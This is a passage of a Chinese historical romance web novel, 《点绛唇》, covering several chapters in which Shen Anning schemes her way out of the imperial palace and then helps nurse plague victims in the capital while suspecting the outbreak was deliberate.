沈安宁看着方昭溪难看的脸色,不以为然道:“公主打算如何?打算杀了我吗?或是用刑?虽说公主尊贵,可要对我用刑,想必公主也是没有资格的!” 沈安宁看着好像随时都会冲上来打自己一顿的方昭溪,得意地笑了笑。 这时方昭溪身旁的山丹气愤道:“沈姑娘,虽说你身份不凡,可你不要忘了,这是在宫里,圣上住的地方,岂容沈姑娘你这般撒野?” 沈安宁听见这话后不再言语,脸上也没有了之前的得意,阿月立即回怼山丹道:“就是闹到圣上那里,也是五公主先找我家小姐麻烦的,圣上肯定会为我家小姐主持公道的!” 沈安宁拉了拉阿月,阿月这才后退一步到沈安宁身旁。 方昭溪睨了她们一眼,冷笑了一声,她也是被气懵了,自己动不了沈安宁,在这宫里总有人能治她,“既是这样,何不就去向父皇说明情况,让父皇来定夺?” 此举正中沈安宁心意,但沈安宁面上表现出了一丝慌张,没有接话。 方昭溪这下更得意了,“怎么?不敢?刚不是挺能说的吗?” 这有什么不敢的? 沈安宁开始眼神飘忽,略有些心虚的声音响起,“去就去……圣上……圣上定会还我公道的!” 方昭溪不屑的笑了笑,“那就看着吧!” 随后带着一直瞪着阿月的山丹先一步走在了前面。沈安宁阿月两人交换了个眼神,也慢步跟了上去。 一行人气势汹汹地一起往皇帝御书房走去,路上方昭溪一直生着气却还是不肯丢下她公主的仪态,两人不时地又吵上一句,沈安宁也每次都回了过去。 远远地,几人就看见了方承尧的御书房。 沈安宁抬头望去,一个玄衣少年在书房外拐角处,扶着围栏上的石狮子咳了两声,从沈安宁这里看去,只能看见少年略有些虚弱却不瘦弱的背影,沈安宁脑中却突然出现了一个人,也是个一身玄衣的病秧子,不觉的微微蹙起了眉。 那少年则是顺了顺气就离开了。 “五公主!沈姑娘!”临到御书房门前,一个小公公像是刚送了什么人准备回去复命,转头看见这一行人便立即上前行礼。 沈安宁回过神,就听见方昭溪吩咐公公前去通报,方昭溪的脸上余怒未消,小公公自然也看出来了,不敢耽误立刻就进去通报了。 不一会小公公就出来了,“五公主!沈姑娘!奴才带您进去!” 方昭溪瞪了沈安宁一眼,“哼”了一声便走进了书房,沈安宁回头和阿月对视了一眼,也跟着进去了。 沈安宁刚见到坐在书案旁的方承尧,行礼还刚起身就听见方昭溪惨兮兮地开始说起了自己的委屈,“父皇!请你一定要严惩这个沈安宁!她敢对父皇不敬!对儿臣不敬!” 方承尧从奏折中抬起眼来,看了看一脸委屈的方昭溪,又转头看向沈安宁,还未开口,沈安宁立刻就跪下了,阿月也赶紧跟着跪下。 “臣女知罪,臣女不该顶撞五公主,五公主教训臣女,臣女本该受着,不该反驳的,可因五公主的教诲……,臣女反驳了几句,但臣女并不知错,请圣上降罪!” 一时,方昭溪和方承尧都楞了,方承尧手中还拿着未看完的折子,先反应了过来,“你不知错?却让朕降罪?” 沈安宁眼神坚定,“臣女不知错!” 方承尧眯了眯眼,打量了会跪着的沈安宁,“你先起来吧!” 沈安宁保持着跪着的姿势没有抬头,“臣女不敢!” “朕叫你起来,有何不敢,起来说话!” “谢圣上恩典!”沈安宁这才慢慢的起身,立在殿中。 方昭溪回了神后那是一个气啊!拉着方承尧的衣袖,“父皇!沈安宁她一个侯爷之女,她居然敢辱骂儿臣,父皇!你可要为儿臣做主啊!” 方昭溪从小就锦衣玉食,母妃邵贵妃又得皇帝圣宠,在几个公主里,也是最受皇帝喜爱的一个,自小要什么没有?又有几人敢对她不敬?书房中的人都忍不住去瞟站着的沈安宁,想看看是谁有这个胆量敢去招惹五公主,但是碍于方承尧在,只能低着头不敢太过明显地去瞟。 方承尧无奈道:“谁来说说!怎么回事?” 方昭溪生气道:“父皇,沈安宁在宫中乱走,儿臣不过是提醒了她两句,让她叫宫女们带路,不要在宫中乱闯,她就敢说儿臣没有教养!” 方承尧听后转头看着沈安宁,“可是如此?” 沈安宁面无表情,“公主说是那便是了,臣女不敢多言!” “你……你少在这装可怜了!刚刚不是挺厉害的吗?”方昭溪气呼呼地指着沈安宁走了过去。 方承尧却没有什么表情,“五娘!” 方昭溪回头看着自己父皇,跺了跺脚站在一边生着气。 “你若有什么委屈可以说出来,要真是五娘的错,朕自会给你一个公道,若是你真对五娘不敬,”方承尧眼神凛凛,把手中的折子放到了桌上,“对皇室不敬之罪,朕也饶不了你!” 沈安宁抬头看了看方承尧放在桌上的折子,“回圣上,臣女是第一次进宫,对事对人都尊敬至极,可是臣女不知哪里得罪了五公主,昨夜五公主就亲自带着人去英华宫指点了臣女一顿。今日在暗香斋听学,五公主一见到臣女便是一顿冷嘲热讽,臣女就当是五公主的教导了。可是刚刚臣女因为对宫中不熟悉,回英华宫的路中碰见了五公主,便想上前给五公主行礼问好,谁知五公主看见臣女就说臣女定是没有教养。” 沈安宁又接着委屈道:“臣女虽顶撞了五公主,可臣女并不知错,公主怎么对臣女都好,可父亲久居边疆,自是没有时间管教臣女,可五公主却对臣女的父母也可以随意嘲笑,若能容忍旁人随意羞辱父母,也愧为人女,所以臣女并不觉得自己哪里做错了!请圣上降罪!” “本公主什么时候……你……”方昭溪一时不知该怎么说,她什么时候羞辱过镇北侯了? 方承尧却是看着底下跪着的沈安宁思量了一会,他自然知道自己女儿是什么样的人。方昭溪虽然娇纵却也知道分寸,自然不会去侮辱沈海夫妇,他侧头和身旁的康公公对视了一眼,想起了不久前离开的方景淮说的话,‘沈姑娘不会就安心地待在宫里的,她定会想办法出宫的。’ 就在沈安宁以为皇帝是不是睡着了的时候听见了他的声音,“你先起来吧!” 沈安宁心中疑惑,缓缓的起身,“谢圣上!” 方昭溪:“父皇!我……” “五娘,你再胡闹也不能如此无礼,况且镇北侯是我们姜国的功臣,你怎么能这么胡闹!” “父皇!我没……” “好了,你先回去好好思过!” “父皇……” 方昭溪还想再说什么,可是看见方承尧朝她摆了摆手,她忿忿不平地朝沈安宁瞪了一眼就气呼呼的带着山丹离开了。 沈安宁心中疑惑,虽然和方昭溪相处不久,但她也发现了方昭溪虽然骄横跋扈,却也不是个不知深浅的人,连她都知道为何方承尧会不知。 她自然是知道方承尧这个时候肯定不会杀她,而方昭溪又是皇帝最受宠的公主,她原本也只是想借和方昭溪不和之事告诉方承尧她住在宫中不合适,以请求方承尧放她出宫,却没想到方承尧居然罚了方昭溪。 “虽说是溪儿的不是,可你也有不对的地方,朕就罚你回去抄写佛经,静思己过,你可领罚?”方承尧接过身后康公公递过来的茶喝了一口。 “臣女领罚!” 沈安宁说完后却还是立在殿中,没有离开。 “可还有什么事?”方承尧又准备拿起桌子上的折子看。 “圣上!臣女还有事想禀报!” “何事?” “臣女自昨日进宫以来,得圣上和皇后娘娘抬爱,又得宫中尽心照顾,虽和五公 14. 第十四章 出宫 《点绛唇》全本免费阅读 等两人离开宫门好一会了,阿月这才松了一口气,“终于出来了!小姐,为什么圣……” 沈安宁打断了阿月,示意她看向马车外面。 阿月这才反应过来驾车的人正是康公公安排的人,于是压低了自己的声音问道:“为什么圣上昨天才将你困在宫里,今天就这么轻易放了你?” 沈安宁微微蹙眉,从今日御书房的情况看来,方承尧似乎知道她会想办法出宫,而且也没打算留自己,只是想看看自己有什么招而已。 沈安宁又仔细回想了一遍昨日宫宴上的事,心中突然一明,方承尧昨日在宫宴上只是说要自己和公主们一起听学,并没有说过留沈安宁在宫中。 难道是方昭溪?不对,若是方昭溪那刚刚也不会这么容易出来,更何况虽然她现在还不明白方昭溪为什么针对自己,但堂堂一个公主总不会是想把她困宫里然后侮辱她一顿吧?而且得知自己要出宫时方昭溪也并无异常。 会是谁呢?昨日宫宴后是皇后的人来接她的,皇后…… 圣上虽然没有说要她住宫里,可若是皇后认为圣上的意思是住在宫里更能方便同公主们一起听学,那圣上也不能为了这事责问皇后。 想到这,沈安宁笑了笑,皇后想要留她在宫中是想要给她和方景浩创造机会,可看来这位周王爷心不在此。 目前来看,太子之位最有力的竞争者无非是赵王方景泽、周王方景浩,两人的背后都是陆家,圣上昨夜为方昭清和谭谨赐婚,难道有意偏向方景泽?可方景泽献礼时圣上也没多在意,又或者真的只是听了太后的话? 太后为方昭清赐婚,难道陆家是选了方景泽?所以皇后才为方景浩算计? 如此看来圣上在宫宴上让方景淳也参与政事,很有可能是想平衡邵陆两家,或许并不是真有意想立方景淳为太子? 阿月见沈安宁眉头舒展了,知道她想明白了,“小姐?” 沈安宁看了看她,不紧不慢的吐出两个字来,“皇后。” 阿月疑惑了,虽然她不明白为什么是皇后,可是只要是自家小姐说的那就是对的。 沈安宁拉开马车窗帘,看着到了一个熟悉的路口,“停下!” 沈安宁带着阿月下了马车,在她的示意下阿月拿出了一锭银子给了侍卫,“你回镇北侯府通报一声,说我们出去置办点东西,晚点就回!” 侍卫看着阿月递过来的那一锭银子,又抬头看了看沈安宁,“姑娘不必如此!奴才这就去镇北侯府通报!” 阿月笑了笑,“拿着吧!” 侍卫这才拿着银子,沈安宁带着阿月转身离开。 “小姐!我们是去看燕夫人吗?” “嗯。” 说起孙雪燕阿月心情有些低落,两人一起到了陈府,才刚到了门口就闻见府中传来好大的药味,两人进了院子里见里面都是煎药的人。 陈府的人都认识她们两个,所以两人在下人的带领下直奔孙雪燕的院子,直到到了孙雪燕院子周围,空中的药味才少了许多,两人进去后才发现陈家父子和沈海夫妇以及张千都在。 阿月一见江秋妤就忍不住哭着冲过去抱住了她,“夫人!” 众人这才发现沈安宁两人回来了,江秋妤被阿月抱住才反应过来,抱着阿月轻轻的拍了拍,满眼泪光地看着两人。 “阿爹!阿娘!陈叔!张叔!”沈安宁走上前去。 “阿宁?你们怎么出宫的?”张千问道。 “小姐她故意惹怒五公主,然后五公主去圣上面前告状,借此和圣上卖惨,这才得已出宫的。”阿月从江秋妤怀里起来。 张千一脸骄傲的仿佛是自己的女儿,“我就知道宫里关不住你!” “燕姨怎么样了?”沈安宁走向孙雪燕的房间,被陈子洵拉住了,“阿娘刚喝了药,已经歇下了,你还是不要进去了,要是也被传染了不好!” 沈安宁皱眉,“真的是瘟病?齐博士怎么说?” “是瘟病!齐博士早晨给阿娘看诊和带了药来,但是医馆那边病人越来越多,人手不足,这几日他就都留在那边帮忙了!” 听见了儿子说完后陈其武重重的叹了一口气,“也不知道夫人这病什么时候可以好!” 江秋妤听见后也是难过的叹了口气,沈海见夫人满脸愁容,轻轻地抱住她。 “会好的!燕夫人一定会好的!”阿月安慰着江秋妤,却更像是在安慰自己。 沈安宁紧紧皱着眉头,又想起刚进门时满院子的药味问道:“为何前院那么重的药味?” 陈子洵解释道:“之前照顾阿娘的侍女仆人大多染上了瘟病,所以按照齐博士的药方在给她们煎药。” 沈安宁眉头紧蹙,“现在城中严重吗?刚不是说缺人手吗?现在可想到办法了?” 张千:“一夜之间就多出了好多病人,现在城中到处可见是染上瘟病的人,各个医馆也到处都是人,之前宫里派了不少人前去帮忙,只是染上的人越来越多,也忙不过来了!” 这时,楚管家过来禀报,“将军!门口有一群乞丐晕倒了,看样子像是染上了瘟病。” 陈其武一拍脑袋,吩咐道:“先把人扶进来,放在前厅,然后去请医者过去看看!” 楚管家:“是!” 楚管家正准备离开,陈子洵叫道:“楚伯!你也小心点,叫去扶的人都拿布条捂住口鼻。” “是!公子!” 楚管家离开后陈其武转头看向沈海,“大哥!你带着嫂子先回府上吧!这边都是病患,万一也染上了不太好,这边有什么消息我就叫人送去府上。” 沈海担心江秋妤的身体,但看江秋妤的神情,想来她是担心孙雪燕,“夫人!你还有旧疾,不如先回府吧?” 江秋妤担心地看了看孙雪燕的房间,又转头看着沈海,知道自己在这里也帮不上什么忙,只会给他们添麻烦,就也准备跟着沈海回去。 “阿月,你跟着阿娘她们回去!”沈安宁唤道。 阿月:“小姐?” 陈其武:“阿宁你也回去!你燕姨这边我和阿洵照顾着,你不用担心!” “陈叔,我想看看有什么可以帮忙的。”沈安宁在军营时也学过简单的医术,照顾病人还是可以的。 阿月:“那我也留下来照顾燕夫人!” 陈其武坚持道:“不行,万一你们要是染上了瘟病怎么办?夫人会怪我的!” “陈叔,我们之前也来过,要是会染上的话前面就已经染上了,你不用担心,我们会小心的!” 陈其武一下不知该怎么办,转头看向沈海,沈海扶着江秋妤似乎思量了会,他自然明白沈安宁的心思,虽然担心但也知道即使这个时候把她带回去了,她也不会安心在家待着的。 “大哥大嫂你们放心吧!我会看着阿宁的!”张千从小看着沈安宁长大,自然也明白沈安宁的性情。 于是沈海看了看沈安宁点了点头,就扶着满脸忧愁看着沈安宁的江秋妤走了。 陈其武见状也没再多说什么,只是再三嘱咐沈安宁阿月要照顾好自己,然后叫陈子洵多照看着她们就去看孙雪燕了。 几人蒙住了口鼻就去了前厅查看病人的情况,这时一个蓝衣女子蒙着面在楚管家的带领下走了过来。 叶云舒看着眼前的一抹橙色身影楞了楞,之前她见到的沈安宁是一身男子装束,突然换了女子的襦裙让她有些诧异,但她也很快也就反应过来了,“沈姑娘?” 沈安宁见到叶云舒也是楞了一下,她没想到楚伯找的医者是叶云舒,“叶姑娘?” 叶云舒笑了笑,“是。” 陈子洵一见是叶云舒过来,上前道:“叶姑娘,你来了?” 叶云舒看到陈子洵在时并不意外,她本就是在医馆时听到是陈府,就迅速的把手里的病人处理好后跟着过来的,“嗯,听说这里有一群新发现的病人,我过来看看!” “就在这,你看!”陈子洵有些手忙脚乱地让开。 张千双手抱胸地瞅着陈子洵的动作,又看了叶云舒一眼,没有说话。 几人和下人们一起在叶云舒的指示下把病人都处理好了。 楚伯抬头擦了擦额头的汗,问道:“这些病人怎么办?” “目前各个医馆都是病人,也没有地方可以转移了。”叶云舒也从病人中抬起了头。 “那就先放这里吧!反□□里也有病人,就一起照顾吧!”陈子洵帮叶云舒整理好药箱。 沈安宁看着陈子洵有条不紊安排人把前厅的病人都安顿好,大手一挥擦了脸上的汗,“叶姑娘,既然你已经过来了,能不能劳烦你去看一下孙夫人?” 叶云舒抬起手轻轻擦了擦额头的汗,“好,请带路吧!” “多谢!这边请!” 沈安宁叫人去告知陈其武,张千替叶云舒背起了医药箱,然后才请叶云舒过去。 叶云舒和张千表示感谢后跟着沈安宁往孙雪燕的院子走去,看着沈安宁对陈府这么熟悉,心中不免有些疑惑。 叶云舒正猜测两人的关系的时候,陈子洵已经打理好一切跟了上来,她转头看了一眼陈子洵。 陈子洵在叶云舒身后放缓了脚步,然后递上了一块干净的雪白帕子。 她转过头看着陈子洵,陈子洵示意给她擦汗,她才双手接过,道了声多谢。 不一会就到了孙雪燕的院子,陈其武已经在门口等着了,一见到来的是个女医者,皱了皱眉。 “阿爹,这是叶姑娘,请她来为阿娘看诊!” 陈其武打量了一眼叶云舒,让开了路,“叶医者,请!” 叶云舒对陈其武微微低头,然后就进了孙雪燕的房间,看着躺在床上的孙雪燕,走了过去。 15. 第十五章 设计 《点绛唇》全本免费阅读 第二日一早,沈海去上朝后,沈安宁就吩咐吕叔照顾好江秋妤,也多防备着瘟病,又派人去宫里给皇后通报,说起城中瘟病肆意,怕进宫会传染宫中众人,特向皇后请几日假,安排好了一切后就和阿月一起来了陈府。 陈子洵正吩咐人去煎药,孙雪燕见她们过来了,便坐了起来,病容看起来已经好了许多,“阿宁,阿月,你们来了啊!” “燕夫人,你好些了吗?”阿月抱住了孙雪燕。 孙雪燕笑着摸了摸她的头,将她推开了些,“好多了!别靠太近了!到时候我好了你又染上了就麻烦了!” 沈安宁接过彩云送过来的早饭,拿了碗粥走近孙雪燕,照顾着孙雪燕喝完后,又喝了药,几人聊了一会后,沈安宁顾及孙雪燕还在病中,就让她歇下了。 几人刚退出房门就见楚管家急急忙忙赶来,“少将军!沈姑娘!外面来了医馆的人说医馆里的病人放不下了,问能不能放到咱们府上和昨天的乞丐一起?” 彩云忧虑道:“可是府上还有这么多人!万一……” 楚管家:“我也是这么说的,只是各个医馆和能放病人的地方都已经放满了,若放任他们在外面怕是会传染别人。” 陈子洵思虑片刻,“你叫他们送来吧!放在前院,安排人把阿娘和现在你们住的院子关起来,不要去前院,你们也多注意,再去请几个医者来。” “是!”楚管家得了指示就去了。 陈子洵:“看来如今城中瘟病很是严重,昨日你出宫后圣上让各位皇子回宫居住,另外还关闭了宫门,宫中除了给妃嫔看病的医师,其他医师都派出宫诊治病人了!” 沈安宁扯下了面纱,“我想去医馆看看!” 阿月:“小姐!” 陈子洵看向沈安宁,“好!” “那我和你一起去!”阿月拉着沈安宁的手表情坚决。 沈安宁道:“你留下来照顾燕姨。” “小姐!” “陈叔去上朝了,燕姨身边只有彩云照顾。” 阿月这才不舍地把手收回,担忧道:“那……好吧!小姐你要注意保护自己!” “好,我晚点来接你回府。” “好。” 说完沈安宁和陈子洵两人就带着面纱往医馆去了,留下阿月在院子里和彩云两人守着。 此时宫中,方景泽正漫步往枕霞宫走着,就撞见了前方带着刘医师走来的方景渝,见他步履匆匆,问道:“六郎这是要去哪?怎么这么着急?” 方景渝这才看见他,“三哥!我去陈将军府上看看!” “陈其武将军?去他府上干什么?” “三哥!你还不知道吗?我刚陪母妃喝药时,就听刘医师说起如今城中瘟病肆意,各处医馆都住满了病人,又缺人手。陈将军府上因孙夫人和其他照顾孙夫人的丫头小厮都染上了,所以陈将军就把府邸用来接收病人了。那里正缺医者,我正要和刘医师一起去,看看我能不能也帮点什么忙。” 方景泽听完思量了片刻,又看了看方景渝身后的刘医师,“这我自然知道,陈将军今日上朝时,父皇就让人单独安排一处屋子给陈将军,又派了医师照看,宫外的瘟病父皇也安排人去处理这件事了!瘟病是会传染的,你要去了万一染了,淑妃娘娘会担心的!况且你又不懂医术,去了也未必能帮得上什么,父皇也说过给妃嫔看病的医师不能去宫外看瘟病,刘医师这一去,怕是不方便再回宫里了!” “宫中闲置的医师医工这么多,宫外又正缺医师,为何不让他们出去?你就放心吧三哥!阿娘久病,我这些年也习得了一些照顾病人的方法,等过了几天疫情平熄了,父皇不会发现刘医师不在的!我也会小心的!先不和你说了,我们先走了!”说完方景渝拉着还准备行礼的刘医师往宫门口走去。 方景泽回头若有所思的看着他们离开,好一会才转身离去,只是改了个道往凝黛宫绕去。 方景渝等人带着面纱到陈府时前院已经横七竖八的躺了很多病人了,刘医师看向方景渝,得方景渝示意后赶紧上去帮忙诊治。 方景渝看着地上的病人,一时不知道该怎么做。 这时,不远处一个正忙着喂药的紫衣姑娘回头,见众人都忙不过来,却有一人呆呆的站在门口,于是喊道:“哎!门口那个!你别发呆了!去帮忙煎药!” 喊完后阿月见门口那个呆子居然还没有动,便走了过去,“哎!你是来干嘛的?来帮忙的就不要杵在这里不动,不帮忙就快离开,这里都是病人,别被传染了!” 方景渝这才反应过来是在喊自己,“我……我是来帮忙的!” 阿月突然一怔,这不是在宫宴上见过的方景渝吗? “来……帮忙?” “是啊!姑娘!我能做什么?” “嗯……能做什么?”阿月一时想不起来该要他做什么,她双臂抱胸,一只手玩着掩面的面纱下摆,她确实不太能想像堂堂一个六皇子去照顾病人的情景。 想来想去,阿月忽然一激灵,“煎药!对!煎药!你要去煎药吗?” “好啊!请姑娘带路!” 两人一起去了楚管家专门空出来的一个用来煎药的厨房,方景渝只四处看了看,就找了一处坐下开始动手煎药。 阿月也开始在他身旁处理药材,见他煎药煎得熟练,心中疑惑,这不是姜国堂堂的晋王吗?吃穿行卧都有不少人伺候,为何煎药这般熟练? 方景渝回头似乎想要找个蒲扇,忽然看到站在一旁的阿月的脚踝,干净的脚踝处似乎有着烧伤的痕迹,方景渝一时觉得失礼便急忙抬起头,两人目光撞到一处,阿月这才赶紧移开目光,两人都觉得有些尴尬,但方景渝想了想,还是道歉道:“是我唐突了!我刚刚只是想找蒲扇,无意间看到了姑娘的脚踝,虽说是无意,但也是失礼,我向姑娘道歉!” 阿月闻言低头看了一眼左脚脚踝处一块烧伤的疤痕,随后用裙子遮住了。 方景渝又一次道歉,阿月笑道:“没事!” 方景渝这才又回去煎药,只是见阿月还看自己,于是疑惑道:“我是哪里做得不对吗?” 阿月轻咳了两声,清了清嗓子,“就是太对了我才觉得奇怪!” 这下方景渝更疑惑了,“为何?” “你……”阿月抬着头又盯着他,“这个时候你不是应该在皇宫好好待着吗?怎么跑到这里来了?” 方景渝一惊,“你认识我?” “认识啊!你不就是晋王嘛?”阿月说得大大方方,好像并没有觉得哪里有什么不对。 方景渝打量着眼前的阿月,一身穿着不像是个侍女,“只知道陈将军有个爱子,没有听说过陈将军府上还有位千金啊?” 阿月一听就笑了,“陈将军确实没有女儿啊!我是跟着我家小姐来的!不过也是因为燕夫人病了,所以过来照顾她,刚是因为楚伯说前院人手不够,燕夫人也睡下了,我才出来的!” “你家小姐?这时竟然敢来照顾病人,想来也是位心地善的姑娘。”方景渝不知道孙雪燕名讳,自然不知道燕夫人是何人,不过能在这个府上睡下,又得穿着这样华丽的侍女伺候,想来也只有陈将军的夫人了。 只是陈将军一家才来洛京不久,就能得这样的达官显贵家的小姐关心,而前日宫宴上小陈将军又拒绝了父皇的赐婚,看来确实是有中意的人了。 方景渝也不是个喜欢打听别人家私事的人,也没有再多问。 “那当然,我家小姐可是这世上最好的小娘子!”阿月一提到自家小姐就满脸不加掩饰的自毫。 “嗯。”方景渝笑了笑,找到蒲扇后认真地煎起药来。 阿月见他彬彬有礼,即使自己说出了他王爷的身份,他也没有怪自己无礼,也没有拿出皇室的威风来叫她行礼,想到这阿月偷着笑了,又见他煎药煎得认真,问道:“你一个做什么都有一大堆人伺候的王爷,为何煎药这么熟练啊?” 方景渝微微侧了一下头,听她说完又转了回去继续煎着药,“我经常给我母妃煎药的,所以比较熟悉。” 阿月这才想起,之前在宫宴上看见的淑妃,确实面色有些疲惫,一直又有传闻说起淑妃一直都是用药养着的,想着有些难过地问道:“你不是皇子吗?皇宫这么多的名医,淑妃娘娘的……病,还是没有办法吗?” 方景渝叹了口气,“母妃的病乃是旧疾,怕是……不过这些年父皇一直都在为母妃寻找名医。” 阿月见他似乎有些难过,安慰道:“天下这么大,一定会有能治好淑妃娘娘的病的医者的!” 方景渝回头微笑道:“多谢!” “不过……”阿月歪着头打量着他:“你和宫里那些皇子公主不一样!” 尤其是五公主,阿月一想到方昭溪就生气。 方景渝再次看向她,对她的身份又一次猜测起来,能见到其他公主皇子的并不奇怪,他每次宫宴时都能见到各位高官尊爵的家眷,只是并无太多交流,况且能和公主皇子有来往的高门千金,也就那几个……“冒昧一问,你家小姐是哪位大人府上的千金?” 阿月一下笑了出来,“我家小姐是镇北侯的千金!” “原来的镇北侯府啊!幸会!”如此看来传闻中沈家和陈家有意联姻是真的,方景渝又回过头安心地煎着药。 阿月一说到自家小姐就来了兴趣,“对啊!我家小姐可厉害了!” 方景渝微笑地回应着,这时几个侍女小厮也进来煎药,刚进来就听到阿月说的话,众人也没注意旁边的方景渝,就打趣道:“又和谁在夸你家小姐呢?” “我家小姐就是厉害!”阿月回过头和他们说了起来。 方景渝回头见她说得手舞足蹈的,不自觉笑了笑,一边听她和几个小厮侍女说着沈安宁的英雄事迹一边继续煎着药,手中的蒲扇一下一下地扇着,白色的雾气散发出丝丝药香。 医馆内的沈安宁盖上了火上的药罐,也将白色雾气盖进了药罐里,拿着蒲扇用力的扇着。医馆内到处都是病人,沈安宁和陈子洵本想来医馆看看最先发病的乞丐们了解情况,谁知刚进医馆就被忙得焦头烂额的齐茂成拉来帮忙了,不远处的门内陈子洵则跟着叶云舒一起去给病人看诊,给她打下手。 沈安宁抬手擦了额头的汗,眼前突然被一个身材高大的身影挡住了阳光。 沈安宁抬头看去,即使眼前这人带着面纱,看着这双眼睛她还是一眼就认出了这是谁。 “沈兄弟!好巧啊!既然这么有缘,那我也来和你一起煎药!”房小九说完还真的蹲在了沈安宁身旁,回过头找了一个蒲扇开始煎药。 沈安宁转头看着他,开始怀疑这人是一直在跟着自己。 房小九见沈安宁不说话只是看着自己,于是左右晃了晃脑袋,见沈安宁的视线就跟着他的脑袋也转了转,咳了两声,笑道:“虽说我和沈兄弟几日不见,但也不用这么盯着我吧!难不成沈兄弟想我了?” 沈安宁这才回过头,心里给了他一记白眼,我能想你?我为什么想你?难道想你家那几个整天在府门口喝酒吃茶的人吗? “你能照顾病人?”你自己还是个病人呢! “我当然会啊!你别看我穿的人模狗样的,”他以手掩面,凑近沈安宁低声道:“那也就是出来装装面子的!我从小就会照顾人!”说完房小九像是怕沈安宁不信一样,开始有模有样地煎药。 这人还真是不拘小节,沈安宁又见他煎着药时还不时地咳两声。想起在宫里时银杏提起,贤妃在冷宫时给自己的儿子下毒,若他 16. 第十六章 白羽 《点绛唇》全本免费阅读 沈安宁端着药进房间内时,陈子洵正给叶云舒打下手。 沈安宁端着药走了过去,陈子洵一见便顺手接过托盘,“阿宁,齐博士那边还需要药!” 沈安宁点了点头就回头往另一头齐茂成方向望去,见房小九这时正端着几碗药送了过去。 齐茂成刚开始没有回头只是顺手就接了过去,似乎还道了句谢,可一听见房小九说话时突然回头,面带诧异的看着他,直到房小九不知说了几句什么,两人才又继续给病人送着药,只是齐茂成将一整个托盘都接了过去。 “阿宁!”陈子洵见沈安宁一直看着齐茂成,疑惑的问道:“齐博士怎么了吗?他旁边那个人是?” “没怎么。”沈安宁回过头又想起煎药时房小九的话,于是问道:“叶姑娘,二旺怎么样了?” 叶云舒似乎有些诧然,“沈姑娘还记得二旺?他现在高热已经退了,只是还有些虚弱,刚刚喝了药躺下了。” “我想请问叶姑娘,为何这个瘟病一开始看不出是瘟病?之前可有过类似的瘟病,这个病从传染到发病需要多长时间?我记得燕姨是进城那几天接触的乞丐,第二天就病倒了!但是直到两天后才发现是瘟病,而且其他人也是在这个时间一起发病的……”沈安宁随手接过叶云舒手里的空碗放到陈子洵手中的托盘上。 “每个人身体所能承受的都不同,发病的时间也有所不同……不过这次的瘟疫确实很是奇怪,我这几天也正疑惑,按常理来说,瘟疫和热症是有所不同的,瘟病的发病没有这么快。况且在发病前我们都接触过他们,但是都没人染上……”叶云舒稍一思忖,“你在怀疑这次的瘟病爆发的人为的吗?” 陈子洵惊讶道:“人为的?难道瘟病则可以造出来吗?” 叶云舒微微点头,“可以是可以,只是……沈姑娘为何觉得是人为的?” 沈安宁皱眉道:“如果在还未发瘟病前不可传染,那他们应该是一起染上的这个病症的,可燕姨又是怎么染上的?” 沈安宁似乎感受到了从屋内另一边来的目光,转过头后正对上了房小九。 叶云舒和陈子洵也顺着沈安宁看到了房小九,房小九眉眼弯弯,向几人招了招手,又朝这边走了过来,看起来颇有种多年好友久别重逢的热情。 就在三人的目光中,房小九走近了,“沈兄弟!原来你在这啊?我刚还在找你呢!” 沈安宁只是睨了他一眼,他却当作没有看到,自顾自地介绍了自己起来,“在下房小九,是沈兄弟的朋友,两位怎么称呼?” 陈子洵一听到‘房小九’,瞬间皱起了眉头看向沈安宁,看到沈安宁的示意后才把目光放回了房小九身上打量着。 叶云舒则是落落大方的回道:“叶云舒。” 房小九点了点头,拱手一礼,“叶医者!” 之后房小九又转头看向正在打量自己的陈子洵。 打量别人被别人撞上,陈子洵却也没有觉得尴尬,“陈子洵。” 房小九也没有在意陈子洵的目光,而是笑着转头看向沈安宁,“各位刚在聊什么呢?” 沈安宁瞟了他一眼,眼前这人是敌是友还不知道,她也不想和他多说什么,“天黑了!这里也差不多了,今天先回去吧!” 众人看了看窗外,夕阳西下,天色确实有些昏黄。 叶云舒见状也明白沈安宁的用意,收拾了药箱,“你们先回去吧!” 陈子洵随即问道:“那你呢?” “我再待会,怕他们还有什么情况。” “那我陪你!”陈子洵脱口而出,说完又挠了挠自己的头。 叶云舒也没有说什么,只是任由陈子洵将自己的药箱接了过去,然后朝沈安宁和还在看好戏的房小九点了点头,跟了过去。 两人走后,房小九回首挑了挑眉,满面含笑地问道:“沈兄弟,那我们走?” 沈安宁看了看他,点了点头,两人在医馆收拾了一阵,见确实没什么事时才一起朝门外走去。 月光如华,两人走上空无一人的街道,虽然清风徐徐,明月高挂,只是想起之前繁华的夜景,不经还是让人感慨。 沈安宁准备先回陈府接阿月,于是回首向房小九告别,“房公子,我还有事,就先告辞了!” “沈兄弟,虽说你我皆为男子,可你看起来瘦小柔弱的,怕你途中遇见什么不干净的东西,为兄就也送你一程吧!走吧!” 瘦小柔弱?沈安宁怀疑自己是不是听错了,难道最该担心的不应该是他自己吗?一个病秧子,还……长得这么不安分。 只是沈安宁还没有来得及反驳,房小九已经自顾自的往前走了,也没看见沈安宁还没跟上来,等走来一会了回头一看才发现沈安宁还站在原地,“走啊!沈兄弟!” 沈安宁无奈地跟了上去,两人有一搭没一搭的聊着一路到了陈府。 距离陈府还有一点距离的地方,房小九停了下来,看着前面不远处大门上‘陈府’两个大字,心中不知想到了什么,沉默了片刻后,忽作神情疑惑地回头问道:“沈兄弟,你不是说你姓沈吗?” “来接人。”沈安宁正准备往前走,就见一辆很是豪华的马车过来,停在了府门口。 沈安宁停了下来,这并不是陈府的马车,能坐这马车的人非富即贵,这时候会是谁会来? 就在沈安宁疑惑的时候,房小九迅速地拉着她躲到了府门口的石狮子旁,也正在这时陈府门口出来了一个身型高挑的男子,而和他并肩而行的正是阿月。 男子走出门后回过了头,似乎在和阿月说着什么,忽然,男子笑着摘下了面纱。 方景渝?沈安宁看清那人后,正准备上前去拉开阿月,就被人猝不及防地拉着离开了陈府。 沈安宁原本在被人拉住那一刹那就准备出手,可一想到站在自己身后的是房小九,就任由他拉着离开了,毕竟这人看起来不太经得住一拳。 在跑了两条街后,房小九这才停下,靠在路边咳了几声平息着自己的呼吸。 沈安宁正准备问他为什么要拉自己离开,见他这般模样也就没有出声了,只站在原地左右看了一圈。 这时一个蒙面的男子从他们身边走过,沈安宁原本只是扫了一眼,毕竟现在这个时候,蒙着面并没有什么稀奇的,待回过头后又突然转过头看向那男子腰间,眼神一亮。 还没等房小九反应过来,沈安宁已经上前伸手拦住了那男子。 男子似乎也被这突如其来的人吓了一跳,却十分淡定,眼神冷峻地盯着沈安宁。 沈安宁冷冷道:“你腰间的匕首哪来的?” 